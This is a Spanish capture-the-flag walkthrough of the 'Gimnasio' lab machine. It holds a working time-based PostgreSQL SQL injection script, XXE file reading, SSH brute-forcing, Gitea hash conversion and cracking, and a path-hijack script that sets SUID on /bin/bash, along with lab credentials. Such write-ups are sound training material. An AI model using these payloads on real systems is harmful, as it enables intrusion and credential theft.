Gimnasio

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Profesional | 24 Febrero 2025 | D4redevil |
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 192.168.1.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-23 11:30 -03
Initiating ARP Ping Scan at 11:30
Scanning 192.168.1.20 [1 port]
Completed ARP Ping Scan at 11:30, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 11:30
Scanning 192.168.1.20 [65535 ports]
Discovered open port 80/tcp on 192.168.1.20
Discovered open port 22/tcp on 192.168.1.20
Discovered open port 3000/tcp on 192.168.1.20
Completed SYN Stealth Scan at 11:30, 19.98s elapsed (65535 total ports)
Nmap scan report for 192.168.1.20
Host is up, received arp-response (0.00068s latency).
Scanned at 2025-02-23 11:30:37 -03 for 20s
Not shown: 54254 closed tcp ports (reset), 11278 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
3000/tcp open ppp syn-ack ttl 63
MAC Address: 08:00:27:62:F9:FD (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 20.13 seconds
Raw packets sent: 103833 (4.569MB) | Rcvd: 54260 (2.170MB)
Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sCV -p22,80,3000 -oN servicesScan -vvv 192.168.1.20
# Nmap 7.94SVN scan initiated Sun Feb 23 11:31:53 2025 as: /usr/lib/nmap/nmap -sCV -p22,80,3000 -oN servicesScan -vvv 192.168.1.20
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+) '
Nmap scan report for 192.168.1.20 (192.168.1.20)
Host is up, received arp-response (0.0022s latency).
Scanned at 2025-02-23 11:31:54 -03 for 87s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 b3:83:ba:3f:2b:09:07:47:c4:30:37:d8:d2:66:bc:d7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBANlkuJBwP30k42/ZjB2m3hLHfE5YmonPqzq2NLUrR1b6mXzHaibNlhVk3gCgZUU8sKjD8lC33OrIhDrl8OBswI=
| 256 01:77:26:20:16:a2:f6:5e:4d:22:4f:cc:ab:dd:ae:b0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGaKP7drJWuD6e20O2MIw+Df6QbvXz4zvMLzBEVjEz7Q
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Neogym
|_http-server-header: Apache/2.4.62 (Debian)
3000/tcp open ppp? syn-ack ttl 63
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=88a2daff74af1bb1; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=KdxLis1Z0aVtqnyOaqFHtKPLSfA6MTc0MDMyMTE1ODk1OTA0ODI1OQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 23 Feb 2025 14:32:38 GMT
| <!DOCTYPE html>
| <html lang="en-US" data-theme="gitea-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>Gitea: Git with a cup of tea</title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL25lb2d5bS50aGw6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL25lb2d5bS50aGw6MzAwMC9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6ImltYWdlL3BuZyIsInNpem
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Allow: HEAD
| Allow: GET
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Set-Cookie: i_like_gitea=71cac25d221e10e7; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=xEQchpv-pxPOYntQKJzc_BoAhK86MTc0MDMyMTE2NDAwNzk4MzgwMQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 23 Feb 2025 14:32:44 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=2/23%Time=67BB3160%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,2000,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
SF:ea=88a2daff74af1bb1;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
SF:kie:\x20_csrf=KdxLis1Z0aVtqnyOaqFHtKPLSfA6MTc0MDMyMTE1ODk1OTA0ODI1OQ;\x
SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2023\x20Feb\x202025\x2014:32:38\x
SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20data-theme=
SF:\"gitea-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"widt
SF:h=device-width,\x20initial-scale=1\">\n\t<title>Gitea:\x20Git\x20with\x
SF:20a\x20cup\x20of\x20tea</title>\n\t<link\x20rel=\"manifest\"\x20href=\"
SF:data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG
SF:9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic
SF:3RhcnRfdXJsIjoiaHR0cDovL25lb2d5bS50aGw6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoi
SF:aHR0cDovL25lb2d5bS50aGw6MzAwMC9hc3NldHMvaW1nL2xvZ28ucG5nIiwidHlwZSI6Iml
SF:tYWdlL3BuZyIsInNpem")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\n
SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r
SF:\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Me
SF:thod\x20Not\x20Allowed\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Cont
SF:rol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nS
SF:et-Cookie:\x20i_like_gitea=71cac25d221e10e7;\x20Path=/;\x20HttpOnly;\x2
SF:0SameSite=Lax\r\nSet-Cookie:\x20_csrf=xEQchpv-pxPOYntQKJzc_BoAhK86MTc0M
SF:DMyMTE2NDAwNzk4MzgwMQ;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20Sam
SF:eSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2023\x20F
SF:eb\x202025\x2014:32:44\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPR
SF:equest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
SF:quest");
MAC Address: 08:00:27:62:F9:FD (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 23 11:33:21 2025 -- 1 IP address (1 host up) scanned in 88.53 seconds
Explotación inicial
Registramos el dominio en nuestro archivo /etc/hosts
:
echo "192.168.1.20 neogym.thl" >> /etc/hosts
Gitea (3000)
Si ingresamos al puerto 3000, nos encontramos con una instancia de Gitea.
Gitea es una plataforma de gestión de repositorios Git, similar a GitHub, que permite a los usuarios alojar y administrar proyectos de código fuente. Es de código abierto, ligera y fácil de instalar, ofreciendo funcionalidades como control de versiones, colaboración en equipo, y seguimiento de problemas.
Vemos que no se listan usuarios ni tampoco repositorios públicos.
HTTP (80)
Si ingresamos a la web que esta corriendo bajo el puerto 80, no encontramos con una web de un gimnasio.
Lo primero que haremos será registrar en nuestro archivo /etc/hots
el dominio neogym.thl
.
La web cuenta con varias secciones, entre ellas la sección de Contacto.
Interceptamos la petición con Burpsuite.
La enviamos al Repeater.
Podemos observar que los datos se estan enviando en un formato XML.
Vemos que al enviar la petición, el servidor nos reponde con un mensaje donde se incluye el nombre que ingresamos en el formulario.
Podemos manipular estos para leer archivos del sistema.
Podemos intentar leer alguna clave id_rsa que nos permita conectarnos al sistema, pero no logramos obtener nada.
Leemos el archivo .bash_history
del usuario steve
, y nos encontramos con que existe un archivo credenciales.txt
En principio podemos pensar que estas credenciales son validas para conectarnos por ssh, pero no. Debemos realizar fuzzing de subdominios para encontrar el sistema de gestión de socios.
steve:Sup3rP4$sw0rd123!
ffuf -fl 522 -c -u 'http://neogym.thl' -H 'Host: FUZZ.neogym.thl' -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 20
Registramos el subdominio en nuetro archivo hosts
echo "192.168.1.20 admin.neogym.thl" >> /etc/hosts
Accedemos al sitio web.
Utilizamos las credenciales de steve para ingresar al sistema.
Vemos que existe un formulario para cargar nuevos socios.
Registramos un socio de prueba.
Genial.
Este formulario es vulnerable a SQL Injection y el motor de base de datos es Postgres SQL.
Tramitamos la petición por Burpsuite.
La enviamos al Repeater.
Utilizamos el siguiente payload para enviar en el campo address
.
'); SELECT 1 FROM pg_sleep(5)--
SQL Injection basada en tiempo
Enumeramos las bases de datos.
Payload
select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1
Probamos ingresando la letra a
como primer caracter de la primera base de datos.
Vemos que el tiempo de respuesta es de 1 segundo.
Segumios probando caracteres hasta llegar a la letra p
, la cual nos da un tiempo de respuesta de 6 segundos, los cual nos indica que el nombre de la primera base de datos empieza por la letra p
.
Vamos a automatizar este proceso usando python.
PayloadAllTheThings Si quieres conocer más sobre los payloads utilizados puedes vistitar el siguiente enlace: PayloadAllTheThings - Postgresql Time-Based
import time
import string
import requests
from pwn import *
def get_databases():
url = 'http://admin.neogym.thl/index.php'
p1 = log.progress("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Bases de datos")
characters = string.ascii_lowercase + string.digits + ','
extracted_info = ''
last_position = 0
for position in range(1, 60):
for character in characters:
cookies = {"PHPSESSID": 'g8ltlqk0obi5j0v6a7g57uql5k'}
payload = "'); select case when substring(string_agg(datname, ','),{},1)='{}' then pg_sleep(2) else pg_sleep(0) end from pg_database --".format(position, character)
data = {
'first_name': 'Prueba',
'last_name': 'test',
'email': 'test@mail.com',
'phone': '123456789',
'sex': 'M',
'height': 186,
'weight': 80,
'membership_type': 'Mensual',
'address': payload
}
p1.status(payload)
res = requests.post(url, data=data, cookies=cookies)
if res.elapsed.total_seconds() > 2:
extracted_info += character
p2.status(extracted_info)
break
if __name__ == '__main__':
get_databases()
Obtener las tablas de la base de datos neogym
(env)root@kali:/home/d4redevil/thl/Gimnasio/exploits# python3 exploit.py
[↓] Iniciando proceso de fuerza bruta: '); select case when substring(string_agg(table_name, ','),31,1)='g' then pg_sleep(2) else pg_sleep(0) end from information_schema.tables where table_catalog='neogym'--
[▘] Tablas: users,gym_clients
Obtener las columnas de la tabla users
Obtener los usuarios
El script completo es el siguiente:
import time
import string
import requests
from pwn import *
def get_databases():
url = 'http://admin.neogym.thl/index.php'
p1 = log.progress("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Bases de datos")
characters = string.ascii_lowercase + string.digits + ','
extracted_info = ''
last_position = 0
for position in range(1, 60):
for character in characters:
cookies = {"PHPSESSID": 'g8ltlqk0obi5j0v6a7g57uql5k'}
payload = "'); select case when substring(string_agg(datname, ','),{},1)='{}' then pg_sleep(2) else pg_sleep(0) end from pg_database --".format(position, character)
data = {
'first_name': 'Prueba',
'last_name': 'test',
'email': 'test@mail.com',
'phone': '123456789',
'sex': 'M',
'height': 186,
'weight': 80,
'membership_type': 'Mensual',
'address': payload
}
p1.status(payload)
res = requests.post(url, data=data, cookies=cookies)
if res.elapsed.total_seconds() > 2:
extracted_info += character
p2.status(extracted_info)
break
def get_tables():
url = 'http://admin.neogym.thl/index.php'
p1 = log.progress("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Tablas")
characters = string.ascii_lowercase + string.digits + ',_'
extracted_info = ''
last_position = 0
for position in range(1, 60):
for character in characters:
cookies = {"PHPSESSID": 'g8ltlqk0obi5j0v6a7g57uql5k'}
payload = "'); select case when substring(string_agg(table_name, ','),{},1)='{}' then pg_sleep(2) else pg_sleep(0) end from information_schema.tables where table_catalog='neogym'--".format(position, character)
data = {
'first_name': 'Prueba',
'last_name': 'test',
'email': 'test@mail.com',
'phone': '123456789',
'sex': 'M',
'height': 186,
'weight': 80,
'membership_type': 'Mensual',
'address': payload
}
p1.status(payload)
res = requests.post(url, data=data, cookies=cookies)
if res.elapsed.total_seconds() > 2:
extracted_info += character
p2.status(extracted_info)
break
def get_columns():
url = 'http://admin.neogym.thl/index.php'
p1 = log.progress("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Columnas")
characters = string.ascii_lowercase + string.digits + ',_'
extracted_info = ''
last_position = 0
for position in range(1, 180):
for character in characters:
cookies = {"PHPSESSID": 'g8ltlqk0obi5j0v6a7g57uql5k'}
payload = "'); select case when substring(string_agg(column_name, ','),{},1)='{}' then pg_sleep(2) else pg_sleep(0) end from information_schema.columns where table_name='users' and table_catalog='neogym'--".format(position, character)
data = {
'first_name': 'Prueba',
'last_name': 'test',
'email': 'test@mail.com',
'phone': '123456789',
'sex': 'M',
'height': 186,
'weight': 80,
'membership_type': 'Mensual',
'address': payload
}
res = requests.post(url, data=data, cookies=cookies)
if res.elapsed.total_seconds() > 2:
extracted_info += character
p2.status(extracted_info)
break
def get_data():
url = 'http://admin.neogym.thl/index.php'
p1 = log.progress("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("Datos")
characters = string.printable
extracted_info = ''
last_position = 0
for position in range(1, 300):
for character in characters:
cookies = {"PHPSESSID": 'g8ltlqk0obi5j0v6a7g57uql5k'}
payload = "'); select case when substring(string_agg(username || ':' || password, ','),{},1)='{}' then pg_sleep(2) else pg_sleep(0) end from users--".format(position, character)
data = {
'first_name': 'Prueba',
'last_name': 'test',
'email': 'test@mail.com',
'phone': '123456789',
'sex': 'M',
'height': 186,
'weight': 80,
'membership_type': 'Mensual',
'address': payload
}
p1.status(character)
res = requests.post(url, data=data, cookies=cookies)
if res.elapsed.total_seconds() > 2:
extracted_info += character
p2.status(extracted_info)
break
if __name__ == '__main__':
#get_databases()
#get_tables()
#get_columns()
get_data()
Obviamente el script anterior es totalmente personalizable y te invito a que pruebes modificarlo y optimizarlo a tu manera.
Rompemos el hash de la contraseña de david.
david:manchesterunited
Si recordamos, no existia ningun usuario llamado david
en el sistema, pero puede ser que la contraseña sea reutilizada por alguno de los otros usuarios.
Realizamos fuerza bruta por ssh con hydra.
La contraseña es reutilizada por el usuario james
.
david:manchesterunited
Enumeración / Movimiento lateral
james
-> kyle
Si realizamos una enumeración básica del sistema, encontramos que podemos ejecutar con sudo como el usuario kyle
el binario perl.
https://gtfobins.github.io/gtfobins/perl/#sudo
Nos movemos laterlamente al usuario kyle
.
Leemos el flag de user.txt
Elevación de privilegios
Si realizamos una enumeración básica del sistema, encontramos que podemos ejecutar un script de python como root.
Si ejecutamos container-ps
, vemos que lista los contenedores de docker en ejecución y uno de ellos podemos ver que esta corriendo en el puerto 3000 el cual corresponde a Gitea. ``
Por otra parte, tenemos el contenedor de mysql corriendo en el puerto 3306.
Si miramos con el comando container-inspect
sobre el cualquiera de los contenedores, podemos encontrar las variables de entorno con las credenciales para conectarnos a la base de datos.
sudo /usr/bin/python3 /opt/scripts/systemcheck.py container-inspect gitea
gitea:rIS2i8FdX89jHqkyWy4
Nos conectamos a la base de datos.
Listamos los usuarios.
Rompemos el hash con hashcat.
Para ello, haremos lo siguiente:
Creamos un archivo llamado data
con el siguiente contenido:
93725bcf4547d4a48bbf1db5388d84384d0c2d5d2d300abcf88f27bda8ca43343bdbdb907e821c7773b3850fe13e2603da3c | f439c46d381ae6790b9e6ce0a44101d5 | administrador
Luego, ejecutamos el siguiente comando para crear un formato valido:
cat data | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes
Expliquemos que esta realizando este one-liner.
En primer lugar, se está pasando un texto como entrada estándar que contiene tres partes separadas por el símbolo |
:
- Un hash en formato hexadecimal.
- Un salt (en formato hexadecimal).
- El nombre de usuario.
Luego, viene el bucle while
:
| while read data; do
El while read data
lee línea por línea la entrada que se le pasa (en este caso el texto que fue pasado desde el archivo data
), y cada línea se guarda en la variable data
.
Dentro del bucle, se realiza lo siguiente:
- Obtención del
digest
(hash):
digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64)
cut -d'|' -f1
: Este comando usa|
como delimitador y toma el primer campo de la línea (el hash hexadecimal).xxd -r -p
: Convierte el valor hexadecimal en datos binarios.-
base64
: Convierte esos datos binarios a Base64, que es un formato común para almacenar datos binarios de manera textual. -
Obtención del
salt
:
salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64)
-
Similar al paso anterior, pero esta vez toma el segundo campo de la entrada, que es el salt (también en formato hexadecimal) y lo convierte a Base64.
-
Obtención del
name
(nombre de usuario):
name=$(echo $data | cut -d'|' -f 3)
El comando anterior toma el tercer campo (el nombre de usuario) de la entrada.
Después de extraer y convertir los datos, el script genera una cadena de texto con el formato siguiente:
echo "${name}:sha256:50000:${salt}:${digest}"
Este formato es típico de las contraseñas almacenadas en Gitea, donde:
${name}
es el nombre de usuario.sha256
es el algoritmo de hash utilizado.50000
es el número de iteraciones para el algoritmo de hash (esto es común en la generación de hashes de contraseñas para hacerlo más seguro). Este campo podemos determinarlo al obtener el campopasswd_hash_algo
lo que sugiere que las iteraciones son 50000 (pbkdf2$50000$50
).${salt}
es el salt (usado para hacer más resistente al ataque de diccionario).${digest}
es el hash de la contraseña.
El comando tee gitea.hashes
recibe la salida del bucle y la guarda en un archivo llamado gitea.hashes
. Al mismo tiempo, muestra la salida en la consola.
El archivo gitea.hashes
:
administrador:sha256:50000:9DnEbTga5nkLnmzgpEEB1Q==:k3Jbz0VH1KSLvx21OI2EOE0MLV0tMAq8+I8nvajKQzQ729uQfoIcd3OzhQ/hPiYD2jw=
Con el formato adecuado, Hashcat podrá reconocer estos hashes y comenzará a procesarlos para intentar descifrarlos. La clave es asegurarse de que el formato sea compatible con los requerimientos de Hashcat. En este caso, el hash incluye el nombre de usuario seguido de un :
(dos puntos), lo cual es esencial para que Hashcat identifique correctamente la estructura del hash. Por lo tanto, debemos usar la opción --user
en Hashcat, para que pueda asociar el nombre de usuario con el hash correspondiente y procesarlo correctamente.
Rompemos el hash con hashcat:
hashcat gitea.hashes /usr/share/wordlists/rockyou.txt --user
administrador:metallica
Iniciamos sesión en Gitea.
Vemos que el usuario administrador
tiene un repositorio llamado scripts
Si analizamos los scripts en el respositorio, vemos que en el script full_check.sh
hay algo que nos llama la atención.
La función start_server
esta ejecutando un script llamado start_server.sh
pero lo particular de esto es que lo esta ejecutando de forma relativa, lo cual nos hace pensar que podemos abusar de esto para escalar nuestros privilegios.
Para hacer esto, nos moveremos a un directorio donde tengamos capacidad de escritura y creamos un script llamado start_server.sh
con el siguiente contenido.
#!/bin/bash
chmod u+s /bin/bash
Asignamos permisos de ejecución.
chmod u+x start_server.sh
Y por ultimo ejecutamos la opción full-check
, la cual se encarga de ejecutar el script full_check.sh
.
De esta forma, logramos escalar nuestros privilegios.
Post Explotación
Por ultimo leemos el flag de root.txt.